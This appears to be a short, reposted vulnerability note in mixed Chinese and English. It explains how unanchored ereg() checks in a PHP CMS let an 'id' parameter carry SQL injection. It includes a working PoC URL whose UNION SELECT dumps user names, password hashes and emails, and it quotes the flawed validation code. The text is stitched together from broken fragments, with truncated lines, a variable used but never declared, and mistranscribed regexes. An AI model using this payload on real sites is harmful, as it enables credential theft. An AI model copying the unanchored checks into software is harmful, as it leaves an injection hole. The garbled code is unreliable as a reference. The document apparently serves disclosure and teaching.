Author Zvall
function show() { global $bgcolor2,$eid,$type,$d,$m,$y,$user,$theme,$language; if ($type == "birthday" && ereg("[a-zA-Z0-9]+$",$id)) //这里没有用`^`作开始标记 { $sql = MysqL_query("SELECT pseudo,prenom,age FROM " . USER_TABLE . " WHERE id = '" . $id . "'"); list($pseudo,$prenom,$birthday) = MysqL_fetch_array($sql); $pseudo = stripslashes($pseudo); $prenom = stripslashes($prenom); ... n. PoC: http://127.0.0.1:80/nk/index.PHP?file=op=show&id= 0'union+select+version(),concat(pseudo,0x3a,pass,email),3+from+my_users+where%20'vuln-lab'='vuln-lab&type=birthday f (preg_match('`\.\.`',$theme) || preg_match('`\.\.`',$language) || ereg("[A-Za-z]",$_GET['ip_ban'])) { die('<br /><br /><br /><div style="text-align: center"><big>What are you trying to do ?</big></div>'); } ereg("[A-Za-z]",$_GET['ip_ban']) 没用^开始 $结束。。这里无论如何都是true 此功能将检查如果一个变量包含α-num个字符或没有,你可以看到这个正则表达式 比ereg(“[A-ZA-Z0-9]+”,EID)的程序员忘记添加开始检查`^`。远程攻击者可以绕过 通过添加任何自己的特殊字符,如(+, - ,#,%),其次字符串来验证上述条件的验证。原文链接:https://www.f2er.com/regex/362911.html